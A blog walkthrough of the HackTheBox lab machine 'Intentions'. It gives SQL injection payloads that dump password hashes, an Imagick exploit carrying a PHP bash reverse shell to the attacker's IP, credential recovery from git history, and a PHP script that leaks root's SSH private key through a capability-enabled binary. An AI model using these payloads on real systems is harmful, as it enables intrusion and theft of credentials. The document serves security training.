HackTheBox-Intentions Walkthrough

S0l4ris-211
15 min readNov 22, 2023

--

Intentions is a hard Linux machine that starts off with an image gallery website which is prone to a second-order SQL injection leading to the discovery of BCrypt hashes. After more enumeration, a v2 API endpoint is discovered that permits hash authentication in place of passwords, granting admin access to the website. The attacker will discover a page in the admin panel that lets them use Imagick to alter the photos in the gallery. By taking advantage of the instantiation of the Imagick object, the attacker can obtain code execution. Once the attacker has a shell under the www-data username, they must look through the current project’s Git history to locate the user greg’s credentials. The user will discover that, after logging in as ‘greg’ , they have access to the /opt/scanner/scanner binary with extended capabilities, namely CAP_DAC_READ_SEARCH. With the use of this capability, an attacker can exfiltrate sensitive files, including the root user’s private SSH key, byte by byte. By using the key, the attacker can gain root user authentication over SSH.

Machine Info

Short Info of the machine

Enumeration/ Scanning

Rustscan (Open ports : 2)

$ rustscan --accessible -a 10.10.11.220 -r 1-65535 --ulimit 65535

Automatically increasing ulimit value to 65535.
Open 10.10.11.220:22
Open 10.10.11.220:80
Starting Script(s)
Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-02 00:28 +06
Initiating Ping Scan at 00:28
Scanning 10.10.11.220 [2 ports]
Completed Ping Scan at 00:28, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:28
Completed Parallel DNS resolution of 1 host. at 00:28, 0.01s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 00:28
Scanning 10.10.11.220 [2 ports]
Discovered open port 80/tcp on 10.10.11.220
Discovered open port 22/tcp on 10.10.11.220
Completed Connect Scan at 00:28, 0.76s elapsed (2 total ports)
Nmap scan report for 10.10.11.220
Host is up, received syn-ack (0.35s latency).
Scanned at 2023-09-02 00:28:17 +06 for 1s

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.18 seconds

Nmap

# Nmap 7.93 scan initiated Sat Sep  2 00:29:14 2023 as: nmap -A -vvv -p 22,80 -oN intentions.nmap 10.10.11.220
Nmap scan report for 10.10.11.220
Host is up, received echo-reply ttl 63 (0.49s latency).
Scanned at 2023-09-02 00:29:14 +06 for 43s

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 47d20066275ee69c808903b58f9e60e5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbEW8beTNeBRfWCUhSxjST5j/gsczjYvLp9vmAsclM2CG/L0KsthRQMThUc1L+eJC0mVYm46K2qkCVwni2zNHU=
| 256 c8d0ac8d299b87405f1bb0a41d538ff1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEdBQnXdYum2v3ky5zsqh2jiTOu8kbWYpKiDFJmRJ97m
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Intentions
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), Linux 5.0 - 5.3 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.93%E=4%D=9/2%OT=22%CT=%CU=38347%PV=Y%DS=2%DC=T%G=N%TM=64F22DA5%P=x86_64-pc-linux-gnu)
SEQ(SP=105%GCD=1%ISR=103%TI=Z%CI=Z%II=I%TS=A)
SEQ(SP=105%GCD=1%ISR=103%TI=Z%CI=Z%TS=A)
OPS(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST11NW7%O6=M53AST11)
WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53ANNSNW7%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 41.107 days (since Sat Jul 22 21:55:22 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 506.33 ms 10.10.16.1
2 252.91 ms 10.10.11.220

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 2 00:29:57 2023 -- 1 IP address (1 host up) scanned in 44.29 seconds

Adding Target IP in our host machine

cat /etc/hosts                                                             
127.0.0.1 localhost
127.0.1.1 solaris.localdomain solaris
10.10.11.220 intentions.htb
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouter

Port 80:

Register a account and login to the website. However I have tried admin:admin creds for login, it didn’t work. Besides registering account with admin:admin will get nothing changed here.

The ‘Gallery’ and the ‘Feed’ part is interesting somehow. So I intercept the request of this 2 site in Burpsuite. But before let’s look out in these sites.

Now what! Three distinct genres — food, travel, and nature — arise. The question is, how do these genres impact the app?
We discovered that the feed endpoint returns a list of objects that represent an image along with a few other properties, such as genre, after some minor tweaking here and there. But when I tried a genre like ‘cat’ below and going to the feed response it appeared that the ‘data’ section is null which means it doesn’t exist.

This is where we got the ‘SQL Vulnerability’. But it was blunder almost. I mean the /api/v1/gallery/user/feed endpoint returned a 500 error code when we attempted to inject a single quote into genres.

In however we done it, give us the internal server error again and again. We struggled to figure out why injection was not working for almost an hour before realizing that the problem was primarily with spaces 😑. Eventually, everything functioned properly after we tried /**/ instead of spaces. To find the number of columns, use the ORDER BY clause in conjunction with a binary search algorithm

https://book.hacktricks.xyz/pentesting-web/sql-injection

Now using the following query:

{
"genres":"')/**/UNION/**/SELECT/**/1,2,3,4,5#"
}
{
"genres":" ')/**/UNION/**/SELECT/**/1, group_concat(0x7c, schema_name, 0x7c),3,4,5/**/FROM/**/information_schema.schemata#"
}

We got ‘information_schema’ and ‘intentions’ Database. Quering the intentions DB doesn’t not give us anything useful. But for ‘information_schema’ we got some tables. We got ‘users’ table.

{
"genres":" ')/**/UNION/**/SELECT/**/1, group_concat(0x7c, schema_name, 0x7c),3,4,5/**/FROM/**/information_schema.tables#"
}

Upon navigating the ‘users’ table we got many users with hash.

{
"genres":" ')/**/UNION/**/SELECT/**/1, group_concat(0x7c, schema_name, 0x7c),3,4,5/**/FROM/**/users#"
}

By this point, we had managed to get hold of the email addresses and hashed passwords for two admins using bcrypt. But we hadn’t looked through the HackTheBox FAQ yet. We set out on a more difficult quest without realizing the rule that any hash that is found should take no more than five minutes to crack using a rockyou.txt wordlist. Unsure of how to proceed, we looked to the machine’s Discord channel for advice. We learned about the 5-minute rule at that point. Our spirits remained unfazed even though it was almost seven in the morning. Before we gave up and went to sleep, we were determined to claim at least one user flag. The journey never ends!

Let’s look for potential JavaScript source code for further solving. We will check out these 2 code initially.

  • /js/login.js
  • /js/mdb.js

Although our search through those JavaScript files yielded no results, might there be more JavaScript files hidden away? Without a doubt, the answer is yes! The /admin page was a possible lead for us. There has to be some JavaScript attached to it, right? After getting inspired, we gave /js/admin.js a try. And sure enough, it did! Our perseverance had been fruitful. After examining its contents, we discovered a hardcoded text and a few new endpoints:

Though it’s not quite clear from the first comment, the second one does. To access the admin area using the v2 API, we should use hashed passwords.
The login process was followed, but we changed the url from version 1 to version 2. But when we try to do that the response says it needs a ‘hash’ field.

So we guessed that the ‘password’ field will be replaced by ‘hash’ field. Clever indeed 🫤! and boom we successfully got access to the website as admin.

Revisit the website. You will see that some effects were added. Its because we are admin now.

Intercepting this site with BurpSuite we got the following request. Where we also get a ‘path’ parameter.

Finding and Taking Advantage of the RCE Vulnerability (www-data)

Remember the hint that we saw earlier?

Additionally, some intriguing new features that are presently undergoing testing with the v2 API could enable users to apply intriguing effects to images. On the image editing page, we’ve included a few examples. However, you’re welcome to experiment with all of the effects the module offers and offer recommendations. The image manipulation feature is powered by the Imagick PHP library, which we discovered via the hint. A JSON body of the following format is accepted by the /api/v2/admin/image/modify endpoint:

We started a full-scale testing campaign and used the following tactics:

  1. Fuzzing the parameters for both the path and the effect.
  2. Trying almost every known online ImageMagick exploit vector.
  3. Using SSRF techniques to take advantage of gopher-based MySQL, Redis, or Memcache attacks; however, MySQL was password-protected and neither Redis nor Memcache were operational on this installation.

We looked into other options because the outcomes weren’t very encouraging. Using the below POC we can go further now after identifying what should be needed to do here.

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

Steps to get shell:

The idea was to attach our MSL script as a file to a multipart/form-data request. Afterwards, PHP would use a method Sharoglazov found to create a temporary file in /tmp/phpXXXXXX, which we could include in the same request:

We were able to use vid:msl:/tmp/php because the vid: scheme permitted the use of wildcards in the path. We had to embed a PHP payload inside an image in order for this to function.

Failure to do so would result in an unsuccessful attempt to retrieve the payload from our server:

$ convert xc:red -set 'Copyright' '<?php system("bash -i >& /dev/tcp/10.10.**.**/9001 0>&1"); ?>' reverse.png

The next step was to combine everything into a single request. Fortunately, we were able to send a single multipart request by moving the path and effect parameters from the JSON body to the query string:

Going to https://intentions.htb/shell.php?cmd=<some_command>

We can run command here now.

We can upload a .php shell to get reverse shell in our host machine.

And then we get shell as ‘www-data’. We then find a ‘.git’ directory in /html/intentions

We need to download it in our kali machine, but to download a complete directory you always need to covert the directory into compress file and then download it in your host machine. I did that too.

After downloading the .git directory, we checked for the commits result. We get ‘greg’ user’s commit result. One of the commits have the creds for the greg user.

After all we got the password for the greg user.

We can now SSH to the greg user and get our user flag.

$ ssh greg@intentions.htb  
The authenticity of host 'intentions.htb (10.10.11.220)' can't be established.
ED25519 key fingerprint is SHA256:oM16qkT2127RdM/9i3UFwVNtt09fF4E6c4zhrHtGjw0.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:64: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'intentions.htb' (ED25519) to the list of known hosts.
greg@intentions.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Sep 14 09:45:49 PM UTC 2023

System load: 0.0
Usage of /: 62.5% of 6.30GB
Memory usage: 11%
Swap usage: 0%
Processes: 240
Users logged in: 0
IPv4 address for eth0: 10.10.11.220
IPv6 address for eth0: dead:beef::250:56ff:feb9:3d1f

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

12 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

$ /bin/bash -i
greg@intentions:~$ ls -la
total 52
drwxr-x--- 4 greg greg 4096 Jun 19 13:09 .
drwxr-xr-x 5 root root 4096 Jun 10 14:56 ..
lrwxrwxrwx 1 root root 9 Jun 19 13:09 .bash_history -> /dev/null
-rw-r--r-- 1 greg greg 220 Feb 2 2023 .bash_logout
-rw-r--r-- 1 greg greg 3771 Feb 2 2023 .bashrc
drwx------ 2 greg greg 4096 Jun 10 15:18 .cache
-rwxr-x--- 1 root greg 75 Jun 10 17:33 dmca_check.sh
-rwxr----- 1 root greg 11044 Jun 10 15:31 dmca_hashes.test
drwxrwxr-x 3 greg greg 4096 Jun 10 15:26 .local
-rw-r--r-- 1 greg greg 807 Feb 2 2023 .profile
-rw-r----- 1 root greg 33 Sep 14 19:11 user.txt
-rw-r--r-- 1 greg greg 39 Jun 14 10:18 .vimrc

greg@intentions:~$ sudo -l
[sudo] password for greg:
Sorry, user greg may not run sudo on intentions.

As we can see that there is ‘dmca_check.sh’ file present here. Let’s view the content of this file first.

greg@intentions:~$ cat dmca_check.sh 
/opt/scanner/scanner -d /home/legal/uploads -h /home/greg/dmca_hashes.test

greg@intentions:~$ file /opt/scanner/scanner
/opt/scanner/scanner: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=a7sTitVjvr1qc4Ngg3jt/LY6QPsAiDYUOHaK7gUXN/5aWVPmSwER6KHrDxGzr4/SUP48whD2UTLJ-Q2kLmf, stripped

greg@intentions:~$ /opt/scanner/scanner
The copyright_scanner application provides the capability to evaluate a single file or directory of files against a known blacklist and return matches.

This utility has been developed to help identify copyrighted material that have previously been submitted on the platform.
This tool can also be used to check for duplicate images to avoid having multiple of the same photos in the gallery.
File matching are evaluated by comparing an MD5 hash of the file contents or a portion of the file contents against those submitted in the hash file.

The hash blacklist file should be maintained as a single LABEL:MD5 per line.
Please avoid using extra colons in the label as that is not currently supported.

Expected output:
1. Empty if no matches found
2. A line for every match, example:
[+] {LABEL} matches {FILE}

-c string
Path to image file to check. Cannot be combined with -d
-d string
Path to image directory to check. Cannot be combined with -c
-h string
Path to colon separated hash file. Not compatible with -p
-l int
Maximum bytes of files being checked to hash. Files smaller than this value will be fully hashed. Smaller values are much faster but prone to false positives. (default 500)
-p [Debug] Print calculated file hash. Only compatible with -c
-s string
Specific hash to check against. Not compatible with -h

It shows that a binary is running. After that This is what we discovered at this point:

  1. Any file (root.txt, id_rsa) can be accessed by this executable as root.
  2. This feature can be used to brute force the root flag character by character
  3. Our priority is the root, not the flag.

Let’s now analyze our strategy for tackling this challenge:

  1. Starting a loop that keeps going until the generated key is three thousand characters long.
  2. Add one to the anticipated key length.
  3. To calculate an MD5 hash for the first i characters of the root private key, use the scanner tool.
  4. To get the calculated hash, parse the scanner tool’s output.
    By appending every possible ASCII character (0–127) to the current key string and computing the MD5 hash of the resultant string, one can brute force the next character of the key.
  5. The appended character is regarded as the subsequent character of the key when the hash of a tried string corresponds with the hash obtained from the scanner tool.
  6. Print the character that was found after adding it to the key string.

We write the program in PHP. This is my first time writing this code in PHP. So I got so much error while generating the output.

<?php

$privateKey = "-----BEGIN OPENSSH PRIVATE KEY-----";
$index = strlen($privateKey);
echo $privateKey;

while (true) {
$index++;
$result = exec("/opt/scanner/scanner -l ${index} -s 123456 -c /root/.ssh/id_rsa -p");
$hashValue = end(explode(" ", $result));
$character = brute($privateKey, $hashValue);
$privateKey .= $character;

echo $character;

if ($index == 3000) break;
}

function brute($privateKey, $hashValue) {
for ($ascii = 0; $ascii <= 127; $ascii++) {
$c = chr($ascii);
if (md5($privateKey . $c) === $hashValue) return $c;
}
}

?>

After saving this script, we will run the script and get our id_rsa file from ‘root’ user.

greg@intentions:/tmp$ php root.php > id_rsa

We transfer this file into our machine for future access and SSH with root user with the id_rsa.

$ ssh -i id_rsa root@intentions.htb
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-76-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Sep 14 10:02:43 PM UTC 2023

System load: 0.00439453125
Usage of /: 62.6% of 6.30GB
Memory usage: 11%
Swap usage: 0%
Processes: 245
Users logged in: 1
IPv4 address for eth0: 10.10.11.220
IPv6 address for eth0: dead:beef::250:56ff:feb9:3d1f

* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.

https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

12 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


root@intentions:~# whoami
root
root@intentions:~# cd /root
root@intentions:~# ls
root.txt scripts

Conclusion

I had trouble locating the issue that resulted from my SQL queries, so this box was really challenging for me. But it was from this that I discovered second order SQL injection. I really enjoy the user pwn. Although the root was fairly simple, I had some trouble writing the PHP code to capture the root’s id_rsa file. In conclusion, even though it’s not the most interesting machine to use, I have learned a lot from it. If you want to learn about SQL injection, this box can teach you a lot of new information. Thank you for reading. Till then I will come up with a new writeup again.

--

--

S0l4ris-211
S0l4ris-211

Written by S0l4ris-211

A dedicated Cyber Security enthusiasm person, Red Teamer & Penetration Tester.

No responses yet